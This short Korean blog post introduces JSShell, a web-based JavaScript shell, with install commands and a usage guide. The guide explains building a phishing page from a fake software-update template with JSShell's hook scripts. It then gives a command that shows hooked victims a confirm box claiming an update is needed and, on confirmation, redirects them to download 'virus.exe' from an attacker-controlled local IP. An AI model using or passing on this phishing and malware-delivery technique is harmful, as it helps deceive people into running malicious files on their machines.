본문 바로가기
3. 웹 애플리케이션 취약점 진단

JS Shell 자바스크립트 [웹 기반 자바스크립트 셸]

by Robert8478 2023. 12. 28.

https://github.com/Den1al/JSShell

 

GitHub - Den1al/JSShell: An interactive multi-user web JS shell

An interactive multi-user web JS shell. Contribute to Den1al/JSShell development by creating an account on GitHub.

github.com

[설치법]
cd JSShell
pip install -r requirements.txt
나머지 설치법은 길어서 github의 installtion 참조


[피싱페이지를 활용한 사용법]
피싱사이트를 그럴싸하게 하기 위해 가짜 업데이트 템플릿 사이트에 가서 해당 index.html 소스코드를 복사한 후 html 파일로 만들고 JSShell/web/templates 안의 index.html의 head에 있는 script문 3개를 복사해온 html 파일의 헤더에 붙여넣고 완성된 파일은 templates 에 원래 있던 index 대체로 넣어준다.


>list - 세션 리스트
>select 1 - 1세션 선택
>com - 자바 커맨드 창
>var execute = confirm ("업데이트를 다운로드해야 실행됩니다.") ;if(execute) {window.location.href='http://192.168.0.8/virus.exe';}

컨펌박스 [alert 창]를 띄우고 컨펌박스에 확인 누를경우 /var/www/html에 넣어둔 virus.exe 파일을 다운받도록 합니다.

위 소스코드를 command로 보내면 피해자가 접속한 JSShell 서버 페이지에 alert 창이 뜨며 확인 누르면 악성파일이 받아집니다.


영상 사용법
https://asciinema.org/a/217167

 

JSShell 2.0 Example

https://asciinema.org/a/n0pnzjoAPlA1bVYLI1HXa5ghX

asciinema.org